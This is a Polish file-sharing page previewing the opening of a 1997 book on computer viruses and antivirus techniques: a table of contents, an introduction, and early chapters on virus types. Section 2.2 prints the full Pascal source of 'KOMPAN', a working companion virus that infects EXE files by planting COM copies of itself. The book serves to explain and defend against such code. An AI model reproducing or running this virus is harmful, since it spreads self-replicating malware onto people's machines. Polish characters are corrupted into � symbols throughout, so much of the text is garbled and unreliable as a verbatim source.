1757

Szczegóły
Tytuł 1757
Rozszerzenie: PDF
Jesteś autorem/wydawcą tego dokumentu/książki i zauważyłeś że ktoś wgrał ją bez Twojej zgody? Nie życzysz sobie, aby podgląd był dostępny w naszym serwisie? Napisz na adres [email protected] a my odpowiemy na skargę i usuniemy zabroniony dokument w ciągu 24 godzin.

1757 PDF - Pobierz:

Pobierz PDF

 

Zobacz podgląd pliku o nazwie 1757 PDF poniżej lub pobierz go na swoje urządzenie za darmo bez rejestracji. Możesz również pozostać na naszej stronie i czytać dokument online bez limitów.

1757 - podejrzyj 20 pierwszych stron:

Tytu�: "Wirusy" Autor: Adam B�aszczyk SPIS ROZDZIA��W Wst�p ............................................ XV Rozdzia� 1. Podstawowe wiadomo�ci o wirusach ..............................1 Rozdzia� 2. Rodzaje wirus�w ..............................................................5 Rozdzia� 3. Podzia� wirus�w ze wzgl�du na spos�b dzia�ania po uruchomieniu ..................................................................17 Rozdzia� 4. Obiekty atakowane przez wirusy ....................................33 Rozdzia� 5. Instalacja w pami�ci operacyjnej ....................................97 Rozdzia� 6. Przejmowanie przerwa� i znajdowanie czystych wej�� do systemu ........................................................................109 Rozdzia� 7. Ukrywanie si� w systemie operacyjnym .......................143 Rozdzia� 8. Szyfrowanie kodu ..........................................................173 Rozdzia� 9. Inne mechanizmy stosowane przez wirusy ...................213 Rozdzia� 10. Przysz�o�� wirus�w .......................................................235 Rozdzia� 11. Rodzaje program�w antywirusowych ............................241 Rozdzia� 12. Techniki u�ywane przez programy antywirusowe .........247 Rozdzia� 13. Konwencje stosowane przez programy antywirusowe -standard CARO ............................................................299 Rozdzia� 14. Profilaktyka antywirusowa ............................................311 Rozdzia� 15. Literatura .......................................................................319 SPIS TRE�CI Wst�p XV Rozdzia� 1. Podstawowe wiadomo�ci o wirusach .......... 1 1.1. Co to jest i jak dzia�a wirus komputerowy ............................... 3 1.2. J�zyki programowania wykorzystane do pisania wirus�w ...... 4 Rozdzia� 2. Rodzaje wirus�w .......................................... 5 2.1. Wirusy paso�ytnicze (ang. parasite infectors) ....................... 7 2.2. Wirusy towarzysz�ce (ang. companion infectors) ................. 8 2.3. Wirusy plik�w wsadowych (ang. batchviruses)....................... 12 2.4. Makrowirusy, wirusy makros�w (ang. macroviruses) .............. 13 2.5. Generatory wirus�w ................................................................ 14 2.6. Robaki (ang. worms) .............................................................. 14 2.7. Konie troja�skie (ang. trojan horses) ...................................... 14 2.8. Bomby logiczne (ang. logical bombs)...................................... 15 Rozdzia� 3. Podzia� wirus�w ze wzgl�du na spos�b dzia�ania po uruchomieniu ............................................................ 17 3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 19 3.2. Wirusy rezydentme (ang. resident viruses) .......................... 21 3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31 3.2.2. Wolne infektory (ang. slow infectors) ................................... 32 Rozdzia� 4. Obiekty atakowane przez wirusy .................. 33 4.1. Pliki...................................................................................35 4.1.1. Pliki wykonywalne COM ............................. 35 4.1.2. Pliki wykonywalne EXE ............................... 45 4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45 4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57 4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 59 4.1.3. Pliki zawieraj�ce sterowniki urz�dze� SYS (BIN, DRV) .... 66 4.1.4. Pliki systemowe DOS ............................... 75 4.1.4.1. Interpretator polece� .................................... 75 4.1.4.2. J�dro systemu (ang, kemel infector) ........................ 75 4.1.5. Pliki wsadowe BAT ................................. 76 4.1.6. Pliki DOC ......................................... 77 4.1.7. Pliki XLS.......................................... 79 4.1.8. Pliki ASM ......................................... 80 4.2. Sektory systemowe .................................. 86 4.2.1. G��wny Rekord �aduj�cy (ang. Master Boot Record - MBR) 86 4.3. Rekord �aduj�cy (ang. BOOt-sector)..................... 92 4.4. Jednostki Alokacji Plik�w (JAP) (ang. dusters) ............ 94 4.5. Wirusy kombinowane (ang. multipartition) ................ 96 Rozdzia� 5. Instalacja w pami�ci operacyjnej ............. 97 5.1. Instalacja w tablicy wektor�w przerwa� .................. 99 5.2. Instalacja w obszarze zmiennych DOS .................. 100 5.3. Instalacja w pami�ci poni�ej 640kB i UMB ............... 100 5.4. Instalacja w pami�ci HMA ............................. 106 5.5. Nietypowe metody instalacji ........................... 107 5.5.1. Pami�� ekranu .................................... 107 5.5.2. Bufory dyskowe DOS ............................... 108 Rozdzia� 6. Przejmowanie przerwa� i znajdowanie czystych wej�� do systemu ................................... 109 6.1. Najcz�ciej przejmowane i wykorzystywane przerwania ..... 111 6.2. Wykorzystanie funkcji DOS ............................ 117 6.3. Bezpo�rednie zmiany w tablicy wektor�w przerwa� ,.,,,., 118 6.4. W��czanie si� do istniej�cego �a�cucha obs�ugi przerwania i znajdowanie czystych wej�� do systemu (ang. tunnelling) .... 119 6.4.1. Korzystanie ze sta�ych adres�w w systemie (przerwania 21hl2Fh) ............................................ 120 6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122 6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122 6.4.4. Trik 2F/13 ........................................ 124 6.5. Wykorzystanie trybu chronionego ....................... 141 6.6. W��czanie si� jako program obs�ugi urz�dzenia ........... 142 Rozdzia� 7. Ukrywanie si� w systemie operacyjnym ........ 143 7.1. Technika stealth ..................................... 145 7.1.1. Podawanie prawdziwych d�ugo�ci plik�w (ang, semi-stealth) 146 7.1.1.1. Polecenie DIR wywo�ywane z poziomu DOS ................. 146 7.1.1.2. Programy nak�adkowe u�ywaj�ce kr�tkich nazw program�w (DOS, Windows 3.1)...................................... 149 7.1.1.3. Programy wykorzystuj�ce d�ugie nazwy plik�w (Windows95) oraz polecenie DIR wywo�ywane z poziomu okna Tryb MS-DOS . 150 7.1.2. Podawanie oryginalnych d�ugo�ci i zawarto�ci plik�w (ang.full stealth)....................................... 152 7.1.3. Podawanie prawdziwej zawarto�ci sektor�w (ang. Sectorlevel stealth) .............................................. 169 7.1.4. Fa�szowanie odczytywanych sektor�w na etapie obs�ugi przerwa� sprz�towych (ang. hardware level stealth) ............... 169 7.2. Modyfikacja CMOS-a ................................. 170 7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171 7.4. Dodatkowe �cie�ki na dyskach ......................... 171 Rozdzia� 8. Szyfrowanie kodu ......................... 173 8.1. Procedury szyfruj�ce kod ............................. 177 8.2. Procedury dekoduj�ce ................................ 178 8.2.1. Polimorficzne procedury dekoduj�ce ................... 179 8.2.1.1. Semi-polimorfizm ........................................ 179 8.2.1.2. Pe�ny polimorfizm ........................................ 193 Rozdzia� 9. Inne mechanizmy stosowane przez wirusy ..... 213 9.1. Sposoby dost�pu do dysk�w .......................... 215 9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj- ne i antyheurystyczne .................................... 227 9.3. Optymalizacje kodu .................................. 231 9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi .................... 232 Rozdzia� 10. Przysz�o�� wirus�w ......................... 235 10.1. Wirusy dla r�nych system�w (ang. multisystem, multiplatform viruses) ............................................. 237 10.2. Wirusy infekuj�ce wewn�trzplikowo (ang, surface infectors) 238 10.3. Wirusy zmienne genetycznie (mutuj�ce sw�j kod) ........ 238 10.4. Wirusy infekuj�ce nowe, nie infekowane dotychczas obiekty 239 Rozdzia� 11. Rodzaje program�w antywirusowych ......... 241 11.1. Skanery (ang. scaners) ............................. 243 11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors) ............................................ 243 11.3. Szczepionki (ang. disinfectors) ....................... 244 11.4. Programy autoweryfikuj�ce .......................... 244 11.5. Programy zliczaj�ce sumy kontrolne (ang. integniy checkers). 245 Rozdzia� 12. Techniki u�ywane przez programy antywirusowe ....................................... 247 12.1. Skaning .......................................... 249 12.2. Heurystycze wyszukiwanie wirus�w .................... 272 12.3. Tryb krokowy ...................................... 284 12.4. Emulacja procesora ................................. 284 12.5. Przyn�ty (ang. baits, decoys) ......................... 285 12.6. Od�wie�anie program�w systemowych w sektorach ....... 285 12.7. Blokowanie program�w u�ywaj�cych trybu krokowego ..... 286 12.8. Pobieranie wielko�ci pami�ci operacyjnej ............... 291 Rozdzia� 13. Konwencje stosowane przez programy antywiru- sowe - standard CARO .............................. 299 Rozdzia� 14. Profilaktyka antywirusowa .................. 311 14.1. Ochrona przed wirusami plik�w uruchamialnych ......... 313 14.2. Ochrona przed bombami logicznymi i ko�mi troja�skimi ... 315 14.3. Ochrona przed makrowirusami ........................ 316 Rozdzia� 15. Literatura ............................... 319 Wst�p Tematem niiejszego opracowania s� wirusy komputerowe jeden z najbardziej tajemniczych i kontrowersyjnych twor�w istniej�cych w �wiecie komputer�w. Od pocz�tku swego istnienia wirusy komputerowe by�y owiane mg�� tajemnicy za� ich tw�rc�w uznawano za ludzi wiedz�cych znacznie wi�cej ni� zwykli �miertelnicy. Tymczasem wirus to zwyk�y program komputerowy kt�ry cho� mo�e bardziej wyrafinowany od innych jest na pewno o wiele �atwiejszy do napisania ni� jakakolwiek aplikacja u�ytkowa czy gra. Wi�kszo�� spotykanych wirus�w to prymitywne przer�bki, bazuj�ce na istniej�cych od dawna, klasycznych ju� i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przer�bki ograniczaj� si� najcz�ciej do zmiany tekstu wewn�trz wirusa lub ewentualnie sekwencji kodu, czego wynikiem jest kolejna z licznych mutacji znanego wirusa. Opr�cz nich istnieje bardzo ma�a grupa wirus�w, kt�rych pojawienie si� na komputerowej scenie wi�za�o si� z zastosowaniem przez ich autor�w nowych, nieznanych jeszcze nikomu sztuczek. Do tych ostatnich zaliczaj� si� niew�tpliwie wirusy wspomnianego ju� wy�ej Dark Avengera, najs�ynniejszego chyba tw�rcy wirus�w komputerowych. On to w�a�nie jako pierwszy zastosowa� metod� zmiennych procedur szyfruj�cych w swym polimorficznym enginie MtE, a tak�e jako jeden z pierwszych potrafi� omija� zainstalowane monitory antywirusowe, czy odnajdywa� oryginalne wej�cia do znajduj�cych si� w BIOS-ie procedur obs�ugi przerwania 13h. Pojawienie si� nowego wirusa infekuj�cego nie zaj�t� jeszcze do tej pory platform� sprz�tow� lub programow� budzi zwykle nie lada sensacj�, zw�aszcza gdy w spraw� wmieszaj� si� media, �eruj�ce na tego typu historiach. Pomimo �e najcz�ciej trywialny, wirus taki otwiera bowiem kolejn� furtk� dla ca�ej rzeszy p�niejszych racjonalizator�w oraz wywo�uje istn� lawin� komentarzy na temat bezpiecze�stwa system�w komputerowych. tak wida�, tw�rcy wirus�w tworz� �rodowisko rz�dz�ce si� swoimi w�asnymi prawami. Ca�y czas trwa wy�cig nad wymy�leniem jeszcze lepszych lub ca�kowicie nowych, nieznanych wirus�w. Ciekawa przyk�ad tw�rczego podej�cia do programowania wirus�w zademonstrowa� autor ukrywaj�cy si� pod pseudonimem Stormbringer w wirusie JUMP. Nazwa wirusa nie jest przypadkowa, gdy�, po de-asemblacji listing tego wirusa sk�ada si� tylko i wy��cznie z samych rozkaz�w skok�w (w�a�ciwy kod zosta� sprytnie ukryty wewn�trz wirusa). Prymat w programowaniu wirus�w wiod� niezaprzeczalnie mieszka�cy pa�stw by�ego bloku wschodniego, g��wnie Bu�garzy, Rosjanie i S�owacy. Dzieje si� tak g��wnie z powodu braku, w tych krajach unormowa� prawnych dotycz�cych przest�pstw komputerowych, kt�re istniej� ju� w wielu pa�stwach zachodnich. W dobie globalnej ekspansji sieci Internet w zasadzie ka�da osoba chc�ca dowiedzie� si� czego� o wirusach mo�e dosta� si� do bogatych, istniej�cych na ca�ym �wiecie archiw�w, po�wi�conych w ca�o�ci programowaniu wirus�w. Oferuj� one wirusy w wersji �r�d�owej, generatory wirus�w, kolekcje z�apanych egzemplarzy wirus�w, a tak�e tzw. ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plik�w tekstowych lub stron HTML), po�wi�cone programowaniu wirus�w (np.: 40HEX, VLAD, NukE InfoJournal, VBB, Immortal Riot). Za spraw� Intemetu w sk�ad grup prowadz�cych te magazyny wchodz� ludzie ze wszystkich stron �wiata, kt�rzy, co ciekawe, najcz�ciej deklaruj� si� jako zagorzali przeciwnicy wirus�w destrukcyjnych, a samo programowanie wirus�w traktuj� jako swoist� sztuk�. Po cz�ci maj� racj�, gdy� pisanie wirus�w jest nie tylko �wietn� okazj� do dog��bnego poznania systemu operacyjnego, ale i sprawdzenia w�asnych umiej�tno�ci programistycznych. Liczba wirus�w z�apanych na �wiecie ro�nie z roku na rok i nic me wykazuje na to, aby tendencja ta mia�a ulec gwa�townej zmianie. W kolekcji wirus�w nale��cej do jednej z czo�owych firm ameryka�skich produkuj�cej programy antywirusowe znajduje si� obecnie ponad 20000 pr�bek wirus�w, z czego ok. 6000 to wirusy ca�kowicie r�ne. Nale�y pami�ta�, i� istnienie wirus�w komputerowych jest �ci�le zwi�zane z niedoskona�o�ci� zara�anych przez nie system�w operacyjnych. Tw�rcy wirus�w skrz�tnie wykorzystuj� do swych cel�w wszelkie mo�liwe luki w systemie: nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione w�asnor�cznie b��dy w kodzie systemu. To w�a�nie wirusy - paradoksalnie - po�rednio wp�ywaj� na wzrost bezpiecze�stwa system�w komputerowych, gdy� kolejne wersje r�nych �rodowisk zwykle staraj� si� za�ata� istniej�ce luki w systemie. Osobne miejsce w dyskusjach na temat wirus�w zajmuj� programy antywirusowe (w literaturze cz�sto okre�lane skr�tem AV). O ile pisanie wirus�w jest raczej indywidualnym procesem tw�rczym, o tyle pisanie skutecznych program�w antywirusowych sta�o si� domen� ca�ych grup programistycznych, kt�rych cz�onkowie musz� posiada� o wiele wi�ksz� wiedz� na temat wirus�w ni� typowy tw�rca wirus�w. Usuwanie wirus�w jest procesem naprawczym, a to wi��e si� z odpowiedzialno�ci�, kt�r� musz� wzi�� na siebie tw�rcy program�w AV. Autorzy wirus�w nie musz� przejmowa� si� ewentualnymi szkodami powsta�ymi na skutek ich b��du lub nawet zwyk�ej niewiedzy. W przypadku program�w AV nie mo�na pozwoli� sobie nawet na najmniejsze potkni�cie. O ile dodawanie do skanera kolejnych sygnatur typowych i trywialnych wirus�w to zaj�cie zajmuj�ce niewiele czasu, o tyle dekodo-wanie i rozszyfrowywanie kodu najnowszych wirus�w, u�ywaj�cych kilkustopniowych zmiennych procedur szyfruj�cych, sztuczek anty-emulacyjnych, antydebuggerowych i antydeasemblerowych, zara�aj�cych du�� ilo�� obiekt�w i b�d�cych zwykle wolnymi infektorami, to zadanie zajmuj�ce bardzo du�o czasu, a i tak cz�sto okazuje si�, i� zastosowana metoda nic umo�liwia odnalezienia wszystkich wariant�w wirusa. Aby przyspieszy� wymian� informacji na temat wirus�w, autorzy r�nych program�w antywirusowych z ca�ego �wiata utworzyli co� w rodzaju organizacji, kt�ra zajmuje si� zbieraniem danych o istniej�cych wirusach oraz o technikach ich wykrywania i usuwania. Poni�sze rozdzia�y powinny przynajmniej cz�ciowo wyja�ni� mechanizmy wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Opr�cz typowych i trywialnych sztuczek, stosowanych od dawna przez wy�ej wymienione programy, om�wionych zosta�o kilka bardziej zaawansowanych technik, m.in.:polimorfizm (wykorzystywanie zmiennych procedur szyfruj�cych); > stealth (zaawansowane ukrywanie si� w systemie); > heurystyka (wykrywanie nowych, nieznanych wirus�w na podstawie znajomo�ci charakterystycznych ci�g�w instrukcji). Do zrozumienia ca�o�ci materia�u niezb�dna jest podstawowa znajomo�� komputer�w PC oraz system�w DOS i WINDOWS. Niezb�dna jest tak�e przynajmniej pobie�na znajomo�� asemblera procesor�w 80x86 i jakiego� j�zyka wysokiego poziomu (np.: Pascal, C). Niezorientowanego czytelnika odsy�am do pozycji umieszczonych w spisie na ko�cu ksi��ki. Dla uproszczenia, w opracowaniu zosta�a zastosowana pewna konwencja, dotycz�ca u�ywania w tek�cie funkcji systemu DOS i BIOS. Wyst�puj�ce w tek�cie skr�ty (XXXX/YY) oznaczaj� u�ycie funkcji XXXX przerwania programowego YY. Zapis (4B00/21) oznacza� wi�c b�dzie instrukcj� uruchomienia programu przy u�yciu funkcji 4B00h przerwania programowego 21h obs�ugiwanego przez DOS, a (4E/4F/21) oznacza� b�dzie wywo�anie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym przypadku realizuj�cych poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) pozycji katalogu. Dok�adny opis funkcji systemu DOS i BIOS mo�na znale�� w wielu r�nych opracowaniach, z kt�rych najlepszym i najpe�niejszym wydaje si� stale rozwijana, dost�pna w angielskoj�zycznej wersji elektronicznej, lista przerwa� Interrupt List Ralpha Browne'a. Na koniec warto jeszcze doda� kilka uwag o s�ownictwie u�ywanym w opracowaniu. Wi�kszo�� termin�w zwi�zanych z komputerami jest si�� rzeczy pochodzenia angielskiego. Pr�by tworzenia ich polskich odpowiednik�w mijaj� si� najcz�ciej z celem, gdy� powsta�e w ten spos�b neologizmy nie odzwierciedlaj� w pe�ni sensu s��w angielskich. Liczne przyk�ady z literatury komputerowej (i nie tylko) ostatnich kilku lat dowiod�y, i� jedynym sensownym wyj�ciem z tej sytuacji jest integracja pewnych termin�w obcoj�zycznych z j�zykiem polskim. Z tego te� powodu w opracowaniu u�ywane s� (w niezb�dnym minimum) terminy angielskie opatrzone odpowiednimi komentarzami w j�zyku polskim. W sytuacji niemo�no�ci znalezienia adekwatnego polskiego odpowiednika dla s�owa angielskiego u�ywane b�dzie s�owo obce (np. stealth). 1.1. Co to jest i jak dzia�a wirus komputerowy Wirus komputerowy definiowany jest najcz�ciej jako kr�tki program maj�cy zdolno�� samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych wcze�niej plikach lub w pierwszych sektorach fizycznych logicznych dysk�w. Proces infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. Zainfekowan� ofiar� cz�sto nazywa si� nosicielem (ang. host), a proces samopowielania - replikacj�. D�ugo�� typowego wirusa waha si� w granicach od kilkudziesi�ciu bajt�w do kilku kilobajt�w i w du�ym stopniu zale�y od umiej�tno�ci programistycznych jego tw�rcy, a tak�e od j�zyka programowania u�ytego do jego napisania. Od umiej�tno�ci i zamierze� autora zale�� tak�e efekty, jakie wirus b�dzie wywo�ywa� w zainfekowanym systemie (oczywi�cie, nie zawsze musi by� to pr�ba formatowania dysku twardego). Wi�kszo�� z istniej�cych wirus�w zawiera tylko kod odpowiedzialny za replikacj� (ang. dropper), natomiast "specjalne efekty" to zwykle dzia�ania uboczne spowodowane przez b��dy. Z powy�szego wynika jednoznacznie, i� pomijaj�c istniej�c� zawsze mo�liwo�� sabota�u, zara�enie komputera wirusem nast�pi� mo�e tylko przy niejawnej wsp�pracy u�ytkownika, kt�ry, b�d� to uruchamiaj�c zara�ony program, b�d� pr�buj�c wczyta� system z zara�onej dyskietki, a nawet odczytuj�c zainfekowany dokument, nie�wiadomie sam instaluje wirusa w u�ywanym przez siebie komputerze. 1.2. J�zyki programowania wykorzystywane do pisania wirus�w. Do zaprogramowania wirusa wystarczy znajomo�� dowolnego popularnego j�zyka programowania, np. Pascala czy C, jednak najwi�kszy procent wirus�w pisany jest w czystym asemblerze. Spowodowane jest to g��wnie specyfik� kodu generowanego przez ten j�zyk, a zw�aszcza jego zwi�z�o�ci�. Kod maszynowy programu, kt�ry z punktu widzenia u�ytkownika nie robi nic, w j�zykach wysokiego poziomu zajmie od kilkuset bajt�w do kilku, a nawet kilkuset kilobajt�w. W asemblerze podobny program zajmie od jednego (instrukcja RET w pliku COM) do czterech bajt�w (wywo�anie funkcji 4Ch przerwania 21h). Spowodowane jest to tym, i� do ka�dego wygenerowanego przez siebie programu kompilatory j�zyk�w wysokiego poziomu dodaj� standardowe prologi i epilogi, niewidoczne dla pisz�cego w danym j�zyku programisty, kt�re s� odpowiedzialne m.in. za obs�ug� b��d�w, stosu, operacje we/wy itp. Mo�na powiedzie�, i� d�ugo�� programu wynikowego (rozumianego jako kod maszynowy) jest wprost proporcjonalna do poziomu j�zyka programowania, w kt�rym zosta� on napisany. Na korzy�� asemblera przemawia tak�e fakt, i� z jego poziomu mamy bardzo du�� swobod� w dost�pie do pami�ci czy port�w, a programista ma mo�liwo�� �wiadomego wp�ywu na kszta�t przysz�ego programu, np. w zakresie u�ywanych instrukcji czy rozwi�za� programowych. Jak wida�, programy napisane w asemblerze s� optymalne pod wzgl�dem szybko�ci dzia�ania i d�ugo�ci kodu, a wi�c j�zyk ten jest jakby stworzony do programowania wirus�w. Jedyn� wad� asemblera jest to, i� program�w w nim napisanych nie mo�na przenosi� na komputery o innej architekturze, st�d mog� one egzystowa� tylko w jednej rodzinie komputer�w. Opr�cz typowych j�zyk�w programowania do zaprojektowania wirusa mo�na wykorzysta� j�zyki makr, wbudowane w nowoczesne edytory tekst�w lub arkusze kalkulacyjne. Zawarte w nich mechanizmy pozwalaj� na infekcj� ka�dego otwieranego przez program dokumentu lub arkusza. Ze wzgl�du na poziom abstrakcji na Jakim operuj� j�zyki makr, s� one wymarzonym narz�dziem do tworzenia wirus�w, zw�aszcza dla pocz�tkuj�cych programist�w. Nie musz� si� oni bowiem przedziera� przez dokumentacj� systemu czy te� formaty infekowanych plik�w. Wszystkie operacje na fizycznych obiektach s� zaimplementowane w makrach i wykonuj� si� bez konieczno�ci ingerencji programisty. ROZDZIA� 2 2.1. Wirusy paso�ytnicze (ang. parasite infectors) W zasadzie wi�kszo�� istniej�cych wirus�w to wirusy paso�ytnicze, kt�re wykorzystuj� swoje ofiary do transportu, modyfikuj�c ich struktur� wewn�trzn�. Jedynym ratunkiem dla zainfekowanych obiekt�w jest u�ycie szczepionki lub w ostateczno�ci kopii zapasowych, gdy� zzara�ane pliki z regu�y nie s� przez wirusa leczone. Wyj�tek stanowi� nieliczne wirusy wykorzystuj�ce pliki tylko do transportu mi�dzy komputerami, maj�ce za g��wny cel infekcj� tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu kt�rego� z tych obiekt�w wirus zmienia dzia�anie i leczy wszystkie u�ywane pliki znajduj�ce si� na twardym dysku, a infekuje jedynie pliki ju� znajduj�ce si� na dyskietkach lub dopiero na nie kopiowane. Ze wzgl�du na miejsce zajmowane w zainfekowanych plikach wirusy paso�ytnicze dzieli si� na: > Wirusy nadpisuj�ce (ang. overwrite infectors), lokuj�ce si� na pocz�tku pliku, cz�sto nie zapami�tuj�ce poprzedniej zawarto�ci pliku (co w efekcie nieodwracalnie niszczy plik); > Wirusy lokuj�ce si� na ko�cu pliku (ang. end of file infectors), najbardziej rozpowszechniona odmiana wirus�w paso�ytniczych, kt�re modyfikuj� pewne ustalone struktury na pocz�tku pliku tak, aby wskazywa�y na wirusa, po czym dopisuj� si� na jego ko�cu; > Wirusy nag��wkowe (ang. header infectors), lokuj�ce si� w nag��wku plik�w EXE przeznaczonych dla systemu DOS; wykorzystuj� one fakt, i� nag��wek plik�w EXE jest standardowo ustawiany przez programy linkuj�ce na wielokrotno�� jednego sektora (512 bajt�w). Zwykle wirusy te nie przekraczaj� rozmiaru jednego sektora i infekuje poprzez przej�cie funkcji BIOS s�u��cych do odczytu i zapisu sektor�w (02,03/13); > Wirusy lokuj�ce si� w pliku w miejscu gdzie jest jaki� pusty, nie wykorzystany obszar (np. wype�niony ci�giem zer), kt�ry mo�na nadpisa� nie niszcz�c pliku (ang. cave infectors), > Wirusy lokuj�ce si� w dowolnym miejscu pliku (ang. surface infectors), do�� rzadkie, bardzo trudne do napisania; > Wirusy wykorzystuj�ce cz�� ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystaj�ce z faktu, i� plik rzadko zajmuje dok�adnie wielokrotno�� jednej JAP. 2.2. Wirusy towarzysz�ce (ang. companion infectors) Wirusy tego typu s� najcz�ciej pisane w j�zykach wysokiego poziomu. Atakuj� one pliki, a ich dzia�anie opiera si� na hierarchii stosowanej przez DOS podczas uruchamiania program�w. W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na ko�cu BAT. W przypadku wykorzystywania interpretatora polece� 4DOS dochodz� Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przyk�ad, je�eli w jednym katalogu istniej� 3 pliki: - PROG.BAT, - PROG.COM, - PROG.EXE, to kolejno�� ich uruchamiania by�aby nast�puj�ca: - PROG.COM, - PROG.EXE, - PROG.BAT. Plik PROG.COM b�dzie si� uruchamia�, ilekro� b�dziemy podawa� nazw� PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE mo�na w tym wypadku uruchomi� wy��cznie poprzez podanie jego pe�nej nazwy, b�d� te� poprzez uprzednie usuni�cie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usuni�cia z katalogu obu plik�w: PROG-COM i PROG.EXE, albo te� podania w linii polece� ca�ej jego nazwy. Jak wida�, wirus ma kilka mo�liwo�ci, aby zainfekowa� uruchamiany program: - Istnieje plik COM: nie mo�na zastosowa� infekcji; - Istnieje plik EXE: mo�na utworzy� plik o takiej samej nazwie, o rozszerzeniu COM, zawieraj�cy wirusa; - Istnieje plik BAT: mo�na utworzy� plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawieraj�cy wirusa. Nast�pna pr�ba uruchomienia tak zara�onego programu spowoduje najpierw uruchomienie podszywaj�cego si� pod program wirusa, a dopiero ten, po zako�czeniu pracy, przeka�e sterowanie do programu macierzystego, najcz�ciej poprzez wywo�anie programu interpretatora polece� z parametrem: /C NazwaPlikuOfiary. Ciekawym rozszerzeniem techniki opisanej powy�ej jest spos�b infekcji stosowany przez wirusy towarzysz�ce, wykorzystuj�ce zmienn� �rodowiskow� PATH (ang. path companion infectors). Zmienna PATH okre�la list� katalog�w przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystuj�cy t� technik� tworzy plik, zawieraj�cy kod wirusa w innym katalogu, znajduj�cym si� w zmiennej �rodowiskowej PATH przed katalogiem, w kt�rym znajduje si� zara�ana ofiara. W tym wypadku infekcj� mo�na zastosowa� dla dowolnego z plik�w COM, EXE, BAT, gdy� kolejno�� uruchamiania zale�na jest przede wszystkim od zawarto�ci zmiennej PATH. Na przyk�ad, je�eli zmienna �rodowiskowa PATH okre�lona jest jako: PATH = C:\;C:\DOS;C:\WINDOWS, a w katalogu C:\DOS umie�cimy plik WIN.BAT, to podczas kolejnego wywo�ywania systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez podawania �cie�ki, czyli najcz�ciej WIN [ENTER]) z katalogu innego ni� C:\WINDOWS system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi w�a�ciwy program C:\WINDOWS\WIN.COM. Poni�ej przedstawiono przyk�ad prostego wirusa towarzysz�cego. Jest on napisany w j�zyku Pascal i infekuje par� plik�w COM, EXE. (*;------------------------------------------------------------------------;*) (*; ;*) (*; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;*) (*; ;*) (*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*) (*; ;*) (*; Prosty wirus typu towarzyszacego ;*) (*; Infekuje pliki EXE w biezacym katalogu ;*) (*; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*) (*; ;*) (*;------------------------------------------------------------------------;*) {$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-} {$M 8192,0,16384} uses Dos, Crt; const MaskaEXE = '*.EXE'; var Szuk : SearchRec; NazwaNosiciela, NazwaOfiary : String; PlikNosiciela, PlikOfiary : File; DlugoscNosiciela : LongInt; Bufor : Pointer; I : Byte; Status : Boolean; begin WriteLn; WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997'); WriteLn; NazwaNosiciela := ParamStr (0); WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?'); if UpCase(ReadKey)='T' then begin WriteLn; Status :=False; FindFirst (MaskaEXE, AnyFile, Szuk); while (DosError = 0) and (IOResult = 0) and (not Status) do begin with Szuk do if not ((Name='.') or (Name='..') or (not (Attr and Directory and VolumeID<>0))) then begin NazwaOfiary:=Name; Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3); NazwaOfiary:=NazwaOfiary+'COM'; Assign (PlikOfiary, NazwaOfiary); Reset (PlikOfiary,1); if IOResult <> 0 then begin Status:=True; WriteLn (' Tworze KOMPANA : ',NazwaOfiary); Assign (PlikNosiciela, NazwaNosiciela); Reset (PlikNosiciela, 1); DlugoscNosiciela := FileSize (PlikNosiciela); GetMem (Bufor,DlugoscNosiciela); BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela); ReWrite (PlikOfiary,1); BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela); Close (PlikNosiciela); Close (PlikOfiary); FreeMem (Bufor, DlugoscNosiciela); end; end; FindNext (Szuk); end; If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !'); end; Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4); NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE'; for I:=1 to ParamCount do NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I); SwapVectors; Exec(GetEnv('COMSPEC'), NazwaNosiciela); SwapVectors; end. 2.3. Wirusy plik�w wsadowych (ang. batchviruses) Wirusy plik�w wsadowych wykorzystuj�ce do transportu pliki BAT, istniej� od do�� dawna, pomimo raczej ubogiego zestawu �rodk�w, jakimi dysponuje ich potencjalny tw�rca. Mo�e 